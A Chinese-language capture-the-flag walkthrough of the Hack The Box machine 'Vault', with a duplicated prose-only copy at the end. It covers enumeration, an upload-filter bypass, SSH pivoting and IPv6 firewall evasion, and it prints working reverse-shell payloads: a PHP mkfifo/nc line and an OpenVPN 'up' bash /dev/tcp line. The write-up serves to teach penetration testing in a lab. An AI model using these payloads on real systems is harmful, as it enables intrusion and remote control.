【HTB系列】靶机Vault的渗透测试详解
字数 1335 2025-08-15 21:34:01

HTB靶机Vault渗透测试详细教程

1. 环境准备

  • 攻击机:Kali Linux (IP: 10.10.14.213)
  • 靶机:Vault (IP: 10.10.10.109)

2. 初始信息收集

2.1 端口扫描

使用nmap进行初始扫描:

nmap -sC -sT -sV 10.10.10.109

2.2 Web服务枚举

使用gobuster进行目录扫描:

gobuster -u http://10.10.10.109 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php -o gobuster-sparklays -t 100

发现提示信息:"We are proud to announce our first client: Sparklays (Sparklays.com still under construction)",于是扫描/sparklays目录:

gobuster -u http://10.10.10.109/sparklays -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php -t 100 -o gobuster-sparklays

3. Web应用测试

3.1 登录页面分析

发现login.php和admin.php页面,注意到登录表单使用GET方法提交数据。

尝试SQL注入:

sqlmap -r sparklays-admin-login.req --batch

未发现注入点。

3.2 文件上传漏洞利用

访问/design目录被禁止,扫描该目录:

gobuster -u http://10.10.10.109/sparklays/design -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php -t 100 -o gobuster-sparklays-design

发现upload.php页面,尝试上传PHP反弹shell:

system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.213 1337 >/tmp/f')

上传被拒绝,使用Burp Suite进行文件扩展名fuzz测试,发现.php5扩展名可被接受。

上传shell.php5后,在Kali上监听:

nc -lvnp 1337

访问上传的shell文件获取初始shell。

4. 权限提升

4.1 获取SSH凭据

在dave用户的Desktop目录下发现SSH凭据:

dave:Dav3therav3123

使用该凭据通过SSH连接靶机:

ssh dave@10.10.10.109

4.2 内网探测

在dave的Desktop目录发现"Servers"文件,包含内网服务器信息。

使用nc进行端口扫描(因靶机无nmap):

nc -zv 192.168.122.4 1-1000

发现192.168.122.4开放22和80端口。

4.3 端口转发

创建SSH隧道访问内网服务:

ssh -L 1234:192.168.122.4:80 dave@10.10.10.109

4.4 VPN配置漏洞利用

发现VPN测试功能,利用OpenVPN配置文件反弹shell:

remote 192.168.122.1
nobind
dev tun
script-security 2
up "/bin/bash -c '/bin/bash -i > /dev/tcp/192.168.122.1/9002 0<&1 2>&1&'"

在攻击机监听:

nc -lvnp 9002

点击"Test VPN"获取shell,得到user flag。

5. 横向移动

5.1 获取DNS服务器访问权限

在dave目录发现另一组SSH凭据:

dave:dav3gerous567

连接DNS服务器:

ssh dave@192.168.122.4

5.2 发现Vault服务器

在hosts文件中发现"The vault"的IP地址:192.168.5.2

使用nmap扫描(使用特定源端口绕过防火墙):

nmap -Pn -v -n --source-port 53 192.168.5.2

发现987端口运行OpenSSH。

5.3 IPv6绕过防火墙

检查IPv6支持:

ping6 FF02::1

查看邻居缓存:

ip -6 neighbor show

确定vault的IPv6地址:fe80::5054:ff:fec6:7066

通过IPv6连接vault:

ssh -p 987 dave@fe80::5054:ff:fec6:7066%ens3

6. 获取root权限

6.1 发现PGP加密文件

在vault上发现root.txt.gpg文件,PGP ID为D1EB1F03。

6.2 文件传输与解密

将文件从vault传输到DNS服务器:

scp -P 987 dave@[fe80::5054:ff:fec6:7066%ens3]:root* .

再从DNS服务器传输到ubuntu:

scp root* dave@ubuntu:~

在ubuntu上使用gpg解密:

gpg --decrypt root.txt.gpg

使用之前找到的key作为密码,获取root flag。

7. 总结

本渗透测试涉及以下关键技术点:

  1. Web目录枚举与文件上传漏洞利用
  2. 文件扩展名fuzz测试绕过上传限制
  3. SSH隧道建立与内网服务访问
  4. OpenVPN配置文件漏洞利用
  5. IPv6协议绕过防火墙限制
  6. PGP文件解密获取最终凭证

通过多层横向移动和协议级绕过技术,最终获取系统最高权限。

HTB靶机Vault渗透测试详细教程 1. 环境准备 攻击机 :Kali Linux (IP: 10.10.14.213) 靶机 :Vault (IP: 10.10.10.109) 2. 初始信息收集 2.1 端口扫描 使用nmap进行初始扫描: 2.2 Web服务枚举 使用gobuster进行目录扫描: 发现提示信息:"We are proud to announce our first client: Sparklays (Sparklays.com still under construction)",于是扫描/sparklays目录: 3. Web应用测试 3.1 登录页面分析 发现login.php和admin.php页面,注意到登录表单使用GET方法提交数据。 尝试SQL注入: 未发现注入点。 3.2 文件上传漏洞利用 访问/design目录被禁止,扫描该目录: 发现upload.php页面,尝试上传PHP反弹shell: 上传被拒绝,使用Burp Suite进行文件扩展名fuzz测试,发现.php5扩展名可被接受。 上传shell.php5后,在Kali上监听: 访问上传的shell文件获取初始shell。 4. 权限提升 4.1 获取SSH凭据 在dave用户的Desktop目录下发现SSH凭据: 使用该凭据通过SSH连接靶机: 4.2 内网探测 在dave的Desktop目录发现"Servers"文件,包含内网服务器信息。 使用nc进行端口扫描(因靶机无nmap): 发现192.168.122.4开放22和80端口。 4.3 端口转发 创建SSH隧道访问内网服务: 4.4 VPN配置漏洞利用 发现VPN测试功能,利用OpenVPN配置文件反弹shell: 在攻击机监听: 点击"Test VPN"获取shell,得到user flag。 5. 横向移动 5.1 获取DNS服务器访问权限 在dave目录发现另一组SSH凭据: 连接DNS服务器: 5.2 发现Vault服务器 在hosts文件中发现"The vault"的IP地址:192.168.5.2 使用nmap扫描(使用特定源端口绕过防火墙): 发现987端口运行OpenSSH。 5.3 IPv6绕过防火墙 检查IPv6支持: 查看邻居缓存: 确定vault的IPv6地址:fe80::5054:ff:fec6:7066 通过IPv6连接vault: 6. 获取root权限 6.1 发现PGP加密文件 在vault上发现root.txt.gpg文件,PGP ID为D1EB1F03。 6.2 文件传输与解密 将文件从vault传输到DNS服务器: 再从DNS服务器传输到ubuntu: 在ubuntu上使用gpg解密: 使用之前找到的key作为密码,获取root flag。 7. 总结 本渗透测试涉及以下关键技术点: Web目录枚举与文件上传漏洞利用 文件扩展名fuzz测试绕过上传限制 SSH隧道建立与内网服务访问 OpenVPN配置文件漏洞利用 IPv6协议绕过防火墙限制 PGP文件解密获取最终凭证 通过多层横向移动和协议级绕过技术,最终获取系统最高权限。